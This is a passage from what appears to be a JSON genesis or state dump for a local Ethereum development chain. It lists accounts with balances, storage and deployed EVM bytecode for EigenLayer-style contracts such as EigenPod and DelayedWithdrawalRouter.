031610613a8d576040805162461bcd60e51b8152602060048201526024810191909152600080516020615bf083398151915260448201527f616c3a207769746864726177616c496e64657820697320746f6f206c6172676560648201526084016106a4565b613a9960186002615b7c565b613aa960e0840160c08501615ba8565b6001600160401b031610613b235760405162461bcd60e51b81526020600482015260476024820152600080516020615bf083398151915260448201527f616c3a20686973746f726963616c53756d6d617279496e64657820697320746f6064820152666f206c6172676560c81b608482015260a4016106a4565b60006001600160401b038216613b3b612e1b85615926565b6001600160401b031610613b50576005613b53565b60045b9050613b60600482614c64565b613b6b906001614c64565b613b769060206157a0565b613b8084806154d1565b905014613bf45760405162461bcd60e51b81526020600482015260486024820152600080516020615bf083398151915260448201527f616c3a207769746864726177616c50726f6f662068617320696e636f727265636064820152670e840d8cadccee8d60c31b608482015260a4016106a4565b613c0060046003614c64565b613c0b9060206157a0565b613c1860408501856154d1565b905014613c925760405162461bcd60e51b815260206004820152604e6024820152600080516020615bf083398151915260448201527f616c3a20657865637574696f6e5061796c6f616450726f6f662068617320696e60648201526d0c6dee4e4cac6e840d8cadccee8d60931b608482015260a4016106a4565b613c9e600360206157a0565b613cab60208501856154d1565b905014613d195760405162461bcd60e51b81526020600482015260426024820152600080516020615bf083398151915260448201527f616c3a20736c6f7450726f6f662068617320696e636f7272656374206c656e676064820152610e8d60f31b608482015260a4016106a4565b613d248160206157a0565b613d3160608501856154d1565b905014613da45760405162461bcd60e51b81526020600482015260476024820152600080516020615bf083398151915260448201527f616c3a2074696d657374616d7050726f6f662068617320696e636f7272656374606482015266040d8cadccee8d60cb1b608482015260a4016106a4565b600d613db260186001614c64565b613dbd906005614c64565b613dc8906001614c64565b613dd29190614c64565b613ddd9060206157a0565b613dea60808501856154d1565b905014613e735760405162461bcd60e51b81526020600482015260586024820152600080516020615bf083398151915260448201527f616c3a20686973746f726963616c53756d6d617279426c6f636b526f6f74507260648201527f6f6f662068617320696e636f7272656374206c656e6774680000000000000000608482015260a4016106a4565b6000613e8560c0850160a08601615ba8565b6001600160401b03166000613e9c600d6001614c64565b613eac60e0880160c08901615ba8565b6001600160401b0316901b600d613ec560186001614c64565b613ed0906001614c64565b613eda9190614c64565b601b901b1717179050613f35613ef360808601866154d1565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508b9250505061010087013584613400565b613fa85760405162461bcd60e51b815260206004820152604a6024820152600080516020615bf083398151915260448201527f616c3a20496e76616c696420686973746f726963616c73756d6d617279206d656064820152693935b63290383937b7b360b11b608482015260a4016106a4565b613fff613fb860208601866154d1565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201829052506101008a013593506101208a013592509050613400565b61405f5760405162461bcd60e51b815260206004820152603d6024820152600080516020615bf083398151915260448201527f616c3a20496e76616c696420736c6f74206d65726b6c652070726f6f6600000060648201526084016106a4565b60496140b761407160408701876154d1565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525050505061010087013561016088013584613400565b6141295760405162461bcd60e51b81526020600482015260496024820152600080516020615bf083398151915260448201527f616c3a20496e76616c696420657865637574696f6e5061796c6f6164206d657260648201526835b63290383937b7b360b91b608482015260a4016106a4565b5061418161413a60608601866154d1565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505050506101608601356101408701356009613400565b6141ec5760405162461bcd60e51b81526020600482015260426024820152600080516020615bf083398151915260448201527f616c3a20496e76616c69642074696d657374616d70206d65726b6c652070726f60648201526137b360f11b608482015260a4016106a4565b60006141ff610100860160e08701615ba8565b6001600160401b031661421460046001614c64565b600e901b179050600061425988888080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061483492505050565b90506142a961426887806154d1565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505050506101608801358385613400565b6143155760405162461bcd60e51b81526020600482015260436024820152600080516020615bf083398151915260448201527f616c3a20496e76616c6964207769746864726177616c206d65726b6c6520707260648201526237b7b360e91b608482015260a4016106a4565b505050505050505050565b6000610d048260018151811061346957613469615517565b6000610d048260038151811061346957613469615517565b600060206120e38361012001516147cd565b604080518082019091526000808252602082015260007f00000000000000000000000000000000000000000000000000000007735940006001600160401b0316846001600160401b031611156143d957507f00000000000000000000000000000000000000000000000000000007735940006143dc565b50825b60408051808201909152600080825260208201526143fa8286615760565b6001600160401b03908116825260348054849260009161441c9185911661581a565b92506101000a8154816001600160401b0302191690836001600160401b0316021790555061444e8285602001516136e5565b602082015260028460600151600281111561446b5761446b614e91565b1461448d576039805490600061448083615bc5565b9091555050600260608501525b600060208086018281528a83526036909152604091829020865181549251938801516001600160401b03908116600160801b0267ffffffffffffffff60801b19958216600160401b026001600160801b0319909516929091169190911792909217928316821781556060870151879391929091839160ff60c01b191668ffffffffffffffffff60801b1990911617600160c01b83600281111561453257614532614e91565b0217905550506040805164ffffffffff8c1681526001600160401b038a8116602083015288168183015290516001600160a01b03891692507fb76a93bb649ece524688f1a01d184e0bbebcda58eae80c28a898bec3fb5a09639181900360600190a298975050505050505050565b60408051808201909152600080825260208201526040805164ffffffffff871681526001600160401b0380871660208301528416918101919091526001600160a01b038416907f8a7335714231dbd551aaba6314f4a97a14c201e53a3e25e1140325cdf67d7a4e9060600160405180910390a2603880548391906000906146319084906001600160401b031661581a565b92506101000a8154816001600160401b0302191690836001600160401b031602179055506040518060400160405280836001600160401b0316815260200160008152509050949350505050565b6000835160001415801561469d57506020845161469b9190615738565b155b61472c5760405162461bcd60e51b815260206004820152605460248201527f4d65726b6c652e70726f63657373496e636c7573696f6e50726f6f665368613260448201527f35363a2070726f6f66206c656e6774682073686f756c642062652061206e6f6e60648201527316bd32b9379036bab63a34b836329037b310199960611b608482015260a4016106a4565b604080516020808201909252848152905b855181116147c357614750600285615738565b600003614786578151600052808601516020526020826040600060026107d05a03fa61477b57600080fd5b6002840493506147b1565b8086015160005281516020526020826040600060026107d05a03fa6147aa57600080fd5b6002840493505b6147bc602082614c64565b905061473d565b5051949350505050565b60f881901c60e882901c61ff00161760d882901c62ff0000161760c882901c63ff000000161764ff0000000060b883901c161765ff000000000060a883901c161766ff000000000000609883901c161767ff0000000000000060889290921c919091161790565b60008060028351614845919061574c565b90506000816001600160401b03811115614861576148616150b9565b60405190808252806020026020018201604052801561488a578160200160208202803683370190505b50905060005b82811015614987576002856148a583836157a0565b815181106148b5576148b5615517565b6020026020010151868360026148cb91906157a0565b6148d6906001614c64565b815181106148e6576148e6615517565b6020026020010151604051602001614908929190918252602082015260400190565b60408051601f1981840301815290829052614922916158a5565b602060405180830381855afa15801561493f573d6000803e3d6000fd5b5050506040513d601f19601f8201168201806040525081019061496291906154b8565b82828151811061497457614974615517565b6020908102919091010152600101614890565b5061499360028361574c565b91505b8115614aa95760005b82811015614a96576002826149b483836157a0565b815181106149c4576149c4615517565b6020026020010151838360026149da91906157a0565b6149e5906001614c64565b815181106149f5576149f5615517565b6020026020010151604051602001614a17929190918252602082015260400190565b60408051601f1981840301815290829052614a31916158a5565b602060405180830381855afa158015614a4e573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190614a7191906154b8565b828281518110614a8357614a83615517565b602090810291909101015260010161499f565b50614aa260028361574c565b9150614996565b80600081518110614abc57614abc615517565b602002602001015192505050919050565b6060614adc8484600085614ae4565b949350505050565b606082471015614b455760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b60648201526084016106a4565b6001600160a01b0385163b614b9c5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016106a4565b600080866001600160a01b03168587604051614bb891906158a5565b60006040518083038185875af1925050503d8060008114614bf5576040519150601f19603f3d011682016040523d82523d6000602084013e614bfa565b606091505b5091509150614c0a828286614c15565b979650505050505050565b60608315614c245750816136fd565b825115614c345782518084602001fd5b8160405162461bcd60e51b81526004016106a49190615bdc565b634e487b7160e01b600052601160045260246000fd5b80820180821115610d0457610d04614c4e565b6001600160401b038116811461200057600080fd5b8035614c9781614c77565b919050565b60008060408385031215614caf57600080fd5b823591506020830135614cc181614c77565b809150509250929050565b600060408284031215614cde57600080fd5b50919050565b60008083601f840112614cf657600080fd5b5081356001600160401b03811115614d0d57600080fd5b6020830191508360208260051b8501011115614d2857600080fd5b9250929050565b60008060008060008060008060a0898b031215614d4b57600080fd5b8835614d5681614c77565b975060208901356001600160401b03811115614d7157600080fd5b614d7d8b828c01614ccc565b97505060408901356001600160401b03811115614d9957600080fd5b614da58b828c01614ce4565b90975095505060608901356001600160401b03811115614dc457600080fd5b614dd08b828c01614ce4565b90955093505060808901356001600160401b03811115614def57600080fd5b614dfb8b828c01614ce4565b999c989b5096995094979396929594505050565b60008083601f840112614e2157600080fd5b5081356001600160401b03811115614e3857600080fd5b602083019150836020828501011115614d2857600080fd5b60008060208385031215614e6357600080fd5b82356001600160401b03811115614e7957600080fd5b614e8585828601614e0f565b90969095509350505050565b634e487b7160e01b600052602160045260246000fd5b60038110614ec557634e487b7160e01b600052602160045260246000fd5b9052565b60208101610d048284614ea7565b600060208284031215614ee957600080fd5b5035919050565b60006080820190506001600160401b0383511682526001600160401b0360208401511660208301526001600160401b0360408401511660408301526060830151614f3d6060840182614ea7565b5092915050565b600080600080600060608688031215614f5c57600080fd5b85356001600160401b03811115614f7257600080fd5b614f7e88828901614e0f565b90965094505060208601356001600160401b03811115614f9d57600080fd5b614fa988828901614e0f565b96999598509660400135949350505050565b60008060008060008060008060a0898b031215614fd757600080fd5b8835614fe281614c77565b975060208901356001600160401b03811115614ffd57600080fd5b6150098b828c01614ce4565b90985096505060408901356001600160401b0381111561502857600080fd5b6150348b828c01614ccc565b95505060608901356001600160401b03811115614dc457600080fd5b6001600160a01b038116811461200057600080fd5b8035614c9781615050565b6000806040838503121561508357600080fd5b823561508e81615050565b946020939093013593505050565b6000602082840312156150ae57600080fd5b81356136fd81615050565b634e487b7160e01b600052604160045260246000fd5b60405161018081016001600160401b03811182821017156150f2576150f26150b9565b60405290565b604051601f8201601f191681016001600160401b0381118282101715615120576151206150b9565b604052919050565b60006001600160401b03821115615141576151416150b9565b5060051b60200190565b600082601f83011261515c57600080fd5b813561516f61516a82615128565b6150f8565b8082825260208201915060208360051b86010192508583111561519157600080fd5b602085015b838110156151ae578035835260209283019201615196565b5095945050505050565b6000806000606084860312156151cd57600080fd5b83356001600160401b038111156151e357600080fd5b8401601f810186136151f457600080fd5b803561520261516a82615128565b8082825260208201915060208360051b85010192508883111561522457600080fd5b6020840193505b8284101561524f57833561523e81615050565b82526020938401939091019061522b565b955050505060208401356001600160401b0381111561526d57600080fd5b6152798682870161514b565b92505061528860408501615065565b90509250925092565b60008060008060008060008060008060c08b8d0312156152b057600080fd5b6152b98b614c8c565b995060208b01356001600160401b038111156152d457600080fd5b6152e08d828e01614ccc565b99505060408b01356001600160401b038111156152fc57600080fd5b6153088d828e01614ce4565b90995097505060608b01356001600160401b0381111561532757600080fd5b6153338d828e01614ce4565b90975095505060808b01356001600160401b0381111561535257600080fd5b61535e8d828e01614ce4565b90955093505060a08b01356001600160401b0381111561537d57600080fd5b6153898d828e01614ce4565b915080935050809150509295989b9194979a5092959850565b6000602082840312156153b457600080fd5b815180151581146136fd57600080fd5b6020808252603e908201527f456967656e506f642e6f6e6c795768656e4e6f745061757365643a20696e646560408201527f782069732070617573656420696e20456967656e506f644d616e616765720000606082015260800190565b60208082526028908201527f456967656e506f642e6f6e6c79456967656e506f644f776e65723a206e6f74206040820152673837b227bbb732b960c11b606082015260800190565b6020808252602f908201527f456967656e506f642e6861734e6576657252657374616b65643a20726573746160408201526e1ada5b99c81a5cc8195b98589b1959608a1b606082015260800190565b6000602082840312156154ca57600080fd5b5051919050565b6000808335601e198436030181126154e857600080fd5b8301803591506001600160401b0382111561550257600080fd5b602001915036819003821315614d2857600080fd5b634e487b7160e01b600052603260045260246000fd5b60006020828403121561553f57600080fd5b813564ffffffffff811681146136fd57600080fd5b6000808335601e1984360301811261556b57600080fd5b8301803591506001600160401b0382111561558557600080fd5b6020019150600581901b3603821315614d2857600080fd5b60208082526031908201527f456967656e506f642e6f6e6c79456967656e506f644d616e616765723a206e6f6040820152703a1032b4b3b2b72837b226b0b730b3b2b960791b606082015260800190565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b60005b8381101561563257818101518382015260200161561a565b50506000910152565b60008151808452615653816020860160208601615617565b601f01601f19169290920160200192915050565b60808152600061567b60808301888a6155ee565b828103602084015261568d818861563b565b905082810360408401526156a28186886155ee565b915050826060830152979650505050505050565b602081526000614adc6020830184866155ee565b80820182811260008312801582168215821617156156ea576156ea614c4e565b505092915050565b80820260008212600160ff1b8414161561570e5761570e614c4e565b8181058314821517610d0457610d04614c4e565b634e487b7160e01b600052601260045260246000fd5b60008261574757615747615722565b500690565b60008261575b5761575b615722565b500490565b6001600160401b038281168282160390811115610d0457610d04614c4e565b6000823561017e1983360301811261579657600080fd5b9190910192915050565b8082028115828204841417610d0457610d04614c4e565b81810381811115610d0457610d04614c4e565b6001600160401b038181168382160290811690818114614f3d57614f3d614c4e565b60006001600160401b0383168061580557615805615722565b806001600160401b0384160491505092915050565b6001600160401b038181168382160190811115610d0457610d04614c4e565b80516020808301519190811015614cde5760001960209190910360031b1b16919050565b60006001820161586f5761586f614c4e565b5060010190565b60008351615888818460208801615617565b6001600160801b0319939093169190920190815260100192915050565b60008251615796818460208701615617565b600082601f8301126158c857600080fd5b81356001600160401b038111156158e1576158e16150b9565b6158f4601f8201601f19166020016150f8565b81815284602083860101111561590957600080fd5b816020850160208301376000918101602001919091529392505050565b6000610180823603121561593957600080fd5b6159416150cf565b82356001600160401b0381111561595757600080fd5b615963368286016158b7565b82525060208301356001600160401b0381111561597f57600080fd5b61598b368286016158b7565b60208301525060408301356001600160401b038111156159aa57600080fd5b6159b6368286016158b7565b60408301525060608301356001600160401b038111156159d557600080fd5b6159e1368286016158b7565b60608301525060808301356001600160401b03811115615a0057600080fd5b615a0c368286016158b7565b608083015250615a1e60a08401614c8c565b60a0820152615a2f60c08401614c8c565b60c0820152615a4060e08401614c8c565b60e082015261010083810135908201526101208084013590820152610140808401359082015261016092830135928101929092525090565b600060208284031215615a8a57600080fd5b81516136fd81614c77565b6001815b6001841115615ad057808504811115615ab457615ab4614c4e565b6001841615615ac257908102905b60019390931c928002615a99565b935093915050565b600082615ae757506001610d04565b81615af457506000610d04565b8160018114615b0a5760028114615b1457615b30565b6001915050610d04565b60ff841115615b2557615b25614c4e565b50506001821b610d04565b5060208310610133831016604e8410600b8410161715615b53575081810a610d04565b615b606000198484615a95565b8060001904821115615b7457615b74614c4e565b029392505050565b60006136fd8383615ad8565b8181036000831280158383131683831282161715614f3d57614f3d614c4e565b600060208284031215615bba57600080fd5b81356136fd81614c77565b600081615bd457615bd4614c4e565b506000190190565b6020815260006136fd602083018461563b56fe426561636f6e436861696e50726f6f66732e7665726966795769746864726177a26469706673582212204b19fa9947cba29e97e68bf849da2e6bf42b15e660145561f6083ab4b30b3f0164736f6c634300081c0033","storage":{"0x0000000000000000000000000000000000000000000000000000000000000000":"0x00000000000000000000000000000000000000000000000000000000000000ff"}},"0x68b1d87f95878fe05b998f19b66f4baba5de1aed":{"nonce":1,"balance":"0x0","code":"0x60806040526004361061014b5760003560e01c806385594e58116100b6578063e4f4f8871161006f578063e4f4f887146103cc578063e5db06c014610405578063eb990c5914610425578063ecb7cb1b14610445578063f2fde38b14610472578063fabc1cbc1461049257600080fd5b806385594e5814610317578063886f1195146103445780638da5cb5b14610364578063c0db354c14610382578063ca661c0414610395578063d44e1b76146103ac57600080fd5b806350f73e7c1161010857806350f73e7c14610254578063595c6a67146102785780635ac86ab71461028d5780635c975abb146102cd578063715018a6146102e257806375608896146102f757600080fd5b806310d67a2f14610150578063136439dd146101725780631f39d87f146101925780633e1de008146101c85780634665bcda146101e85780634d50f9a414610234575b600080fd5b34801561015c57600080fd5b5061017061016b366004611948565b6104b2565b005b34801561017e57600080fd5b5061017061018d36600461196c565b61056e565b34801561019e57600080fd5b506101b26101ad366004611948565b6106ad565b6040516101bf91906119a3565b60405180910390f35b3480156101d457600080fd5b506101b26101e3366004611948565b610893565b3480156101f457600080fd5b5061021c7f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe681565b6040516001600160a01b0390911681526020016101bf565b34801561024057600080fd5b5061017061024f36600461196c565b6109ce565b34801561026057600080fd5b5061026a60c95481565b6040519081526020016101bf565b34801561028457600080fd5b506101706109df565b34801561029957600080fd5b506102bd6102a83660046119f1565b609854600160ff9092169190911b9081161490565b60405190151581526020016101bf565b3480156102d957600080fd5b5060985461026a565b3480156102ee57600080fd5b50610170610aa6565b34801561030357600080fd5b506102bd610312366004611a14565b610aba565b34801561032357600080fd5b50610337610332366004611a14565b610b3d565b6040516101bf9190611a40565b34801561035057600080fd5b5060975461021c906001600160a01b031681565b34801561037057600080fd5b506033546001600160a01b031661021c565b610170610390366004611a4e565b610bbd565b3480156103a157600080fd5b5061026a62034bc081565b3480156103b857600080fd5b506101706103c736600461196c565b610e7c565b3480156103d857600080fd5b5061026a6103e7366004611948565b6001600160a01b0316600090815260ca602052604090206001015490565b34801561041157600080fd5b50610170610420366004611a14565b610f0e565b34801561043157600080fd5b50610170610440366004611a87565b610fa1565b34801561045157600080fd5b50610465610460366004611948565b6110c9565b6040516101bf9190611acd565b34801561047e57600080fd5b5061017061048d366004611948565b611183565b34801561049e57600080fd5b506101706104ad36600461196c565b6111f9565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610505573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105299190611b25565b6001600160a01b0316336001600160a01b0316146105625760405162461bcd60e51b815260040161055990611b42565b60405180910390fd5b61056b81611355565b50565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156105b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105da9190611b8c565b6105f65760405162461bcd60e51b815260040161055990611bae565b6098548181161461066f5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610559565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b6001600160a01b038116600090815260ca6020526040812080546001909101546060926106da8383611c0c565b90508060005b8281101561077c576001600160a01b038716600090815260ca6020526040812060010161070d8388611c1f565b8154811061071d5761071d611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810182905260c95490925061076391611c1f565b431015610773578192505061077c565b506001016106e0565b508060008167ffffffffffffffff81111561079957610799611c48565b6040519080825280602002602001820160405280156107de57816020015b60408051808201909152600080825260208201528152602001906001900390816107b75790505b50905081156108885760005b82811015610886576001600160a01b038916600090815260ca602052604090206001016108178289611c1f565b8154811061082757610827611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810191909152825183908390811061087357610873611c32565b60209081029190910101526001016107ea565b505b979650505050505050565b6001600160a01b038116600090815260ca6020526040812080546001909101546060926108c08383611c0c565b905060008167ffffffffffffffff8111156108dd576108dd611c48565b60405190808252806020026020018201604052801561092257816020015b60408051808201909152600080825260208201528152602001906001900390816108fb5790505b50905060005b828110156109c4576001600160a01b038716600090815260ca602052604090206001016109558287611c1f565b8154811061096557610965611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff169181019190915282518390839081106109b1576109b1611c32565b6020908102919091010152600101610928565b5095945050505050565b6109d661144c565b61056b816114a6565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610a27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4b9190611b8c565b610a675760405162461bcd60e51b815260040161055990611bae565b600019609881905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610aae61144c565b610ab8600061156e565b565b6001600160a01b038216600090815260ca60205260408120548210801590610b34575060c9546001600160a01b038416600090815260ca60205260409020600101805484908110610b0d57610b0d611c32565b600091825260209091200154610b309190600160e01b900463ffffffff16611c1f565b4310155b90505b92915050565b60408051808201909152600080825260208201526001600160a01b038316600090815260ca60205260409020600101805483908110610b7e57610b7e611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff16918101919091529392505050565b60405163a38406a360e01b81526001600160a01b038084166004830152839133917f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6169063a38406a390602401602060405180830381865afa158015610c27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4b9190611b25565b6001600160a01b031614610cc75760405162461bcd60e51b815260206004820152603d60248201527f44656c617965645769746864726177616c526f757465722e6f6e6c794569676560448201527f6e506f643a206e6f7420706f644f776e6572277320456967656e506f640000006064820152608401610559565b609854600090600190811603610cef5760405162461bcd60e51b815260040161055990611c5e565b6001600160a01b038316610d855760405162461bcd60e51b815260206004820152605160248201527f44656c617965645769746864726177616c526f757465722e637265617465446560448201527f6c617965645769746864726177616c3a20726563697069656e742063616e6e6f60648201527074206265207a65726f206164647265737360781b608482015260a401610559565b346001600160e01b03811615610e75576040805180820182526001600160e01b03808416825263ffffffff43811660208085019182526001600160a01b038a16600081815260ca8352968720600190810180548083018255818a5293892088519551909616600160e01b029490961693909317939091019290925593525490917fb8f1b14c7caf74150801dcc9bc18d575cbeaf5b421943497e409df92c92e0f5991889188918691610e3691611c0c565b604080516001600160a01b0395861681529490931660208501526001600160e01b039091169183019190915260608201526080015b60405180910390a1505b5050505050565b600260655403610ece5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610559565b6002606555609854600090600190811603610efb5760405162461bcd60e51b815260040161055990611c5e565b610f0533836115c0565b50506001606555565b600260655403610f605760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610559565b6002606555609854600090600190811603610f8d5760405162461bcd60e51b815260040161055990611c5e565b610f9783836115c0565b5050600160655550565b600054610100900460ff1615808015610fc15750600054600160ff909116105b80610fdb5750303b158015610fdb575060005460ff166001145b61103e5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610559565b6000805460ff191660011790558015611061576000805461ff0019166101001790555b61106a8561156e565b611074848461172b565b61107d826114a6565b8015610e75576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15050505050565b6040805180820190915260008152606060208201526001600160a01b038216600090815260ca6020908152604080832081518083018352815481526001820180548451818702810187019095528085529195929486810194939192919084015b8282101561117557600084815260209081902060408051808201909152908401546001600160e01b0381168252600160e01b900463ffffffff1681830152825260019092019101611129565b505050915250909392505050565b61118b61144c565b6001600160a01b0381166111f05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610559565b61056b8161156e565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561124c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112709190611b25565b6001600160a01b0316336001600160a01b0316146112a05760405162461bcd60e51b815260040161055990611b42565b60985419811960985419161461131e5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610559565b609881905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016106a2565b6001600160a01b0381166113e35760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610559565b609754604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1609780546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b03163314610ab85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610559565b62034bc081111561152d5760405162461bcd60e51b815260206004820152604560248201527f44656c617965645769746864726177616c526f757465722e5f7365745769746860448201527f64726177616c44656c6179426c6f636b733a206e657756616c756520746f6f206064820152646c6172676560d81b608482015260a401610559565b60c95460408051918252602082018390527f4ffb00400574147429ee377a5633386321e66d45d8b14676014b5fa393e61e9e910160405180910390a160c955565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600090815260ca602052604081208054600190910154825b84811080156115f95750816115f78285611c1f565b105b156116a6576001600160a01b038616600090815260ca602052604081206001016116238386611c1f565b8154811061163357611633611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810182905260c95490925061167991611c1f565b43101561168657506116a6565b805161169b906001600160e01b031686611c1f565b9450506001016115e2565b6116b08184611c1f565b6001600160a01b038716600090815260ca602052604090205583156116d9576116d98685611815565b7f6b7151500bd0b5cc211bcc47b3029831b769004df4549e8e1c9a69da05bb094386856117068487611c1f565b604080516001600160a01b039094168452602084019290925290820152606001610e6b565b6097546001600160a01b031615801561174c57506001600160a01b03821615155b6117ce5760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610559565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a261181182611355565b5050565b804710156118655760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610559565b6000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146118b2576040519150601f19603f3d011682016040523d82523d6000602084013e6118b7565b606091505b505090508061192e5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610559565b505050565b6001600160a01b038116811461056b57600080fd5b60006020828403121561195a57600080fd5b813561196581611933565b9392505050565b60006020828403121561197e57600080fd5b5035919050565b80516001600160e01b0316825260209081015163ffffffff16910152565b602080825282518282018190526000918401906040840190835b818110156119e6576119d0838551611985565b60209390930192604092909201916001016119bd565b509095945050505050565b600060208284031215611a0357600080fd5b813560ff8116811461196557600080fd5b60008060408385031215611a2757600080fd5b8235611a3281611933565b946020939093013593505050565b60408101610b378284611985565b60008060408385031215611a6157600080fd5b8235611a6c81611933565b91506020830135611a7c81611933565b809150509250929050565b60008060008060808587031215611a9d57600080fd5b8435611aa881611933565b93506020850135611ab881611933565b93969395505050506040820135916060013590565b6020808252825182820152828101516040808401528051606084018190526000929190910190829060808501905b808310156109c457611b0e828551611985565b604082019150602084019350600183019250611afb565b600060208284031215611b3757600080fd5b815161196581611933565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611b9e57600080fd5b8151801515811461196557600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b81810381811115610b3757610b37611bf6565b80820180821115610b3757610b37611bf6565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b60208082526019908201527f5061757361626c653a20696e646578206973207061757365640000000000000060408201526060019056fea264697066735822122006da243d7e477e428ad2745c456c9ef84e039e1a55dc000ea6c524cb236906b864736f6c634300081c0033","storage":{"0x0000000000000000000000000000000000000000000000000000000000000000":"0x00000000000000000000000000000000000000000000000000000000000000ff"}},"0x70997970c51812dc3a010c7d01b50e0d17dc79c8":{"nonce":0,"balance":"0x21e19e0c9bab2400000","code":"0x","storage":{}},"0x70e0ba845a1a0f2da3359c97e0285013525ffc49":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100b35760003560e01c8063890262451161007157806389026245146101b3578063a48bb0ac146101d3578063bd29b8cd146101e6578063caa3cd76146101f9578063e2e685801461020f578063f34109221461025557600080fd5b8062bff04d146100b857806312d1d74d146100e157806326d941f2146101155780632ed583e51461012a5780636d14a9871461013d5780638121906f1461017c575b600080fd5b6100cb6100c6366004610eac565b610268565b6040516100d89190610f2a565b60405180910390f35b6100f46100ef366004610f9d565b6103be565b60408051825163ffffffff16815260209283015192810192909252016100d8565b610128610123366004610fd0565b610404565b005b6100f4610138366004610feb565b610528565b6101647f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c81565b6040516001600160a01b0390911681526020016100d8565b61018f61018a366004610fd0565b6105ae565b60408051825163ffffffff90811682526020938401511692810192909252016100d8565b6101c66101c1366004610f9d565b6105f5565b6040516100d8919061102e565b61018f6101e1366004610f9d565b610754565b6101286101f4366004610eac565b6107cb565b610201600081565b6040519081526020016100d8565b61024061021d366004611066565b600160209081526000928352604080842090915290825290205463ffffffff1681565b60405163ffffffff90911681526020016100d8565b610240610263366004610fd0565b6108d5565b6060336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c161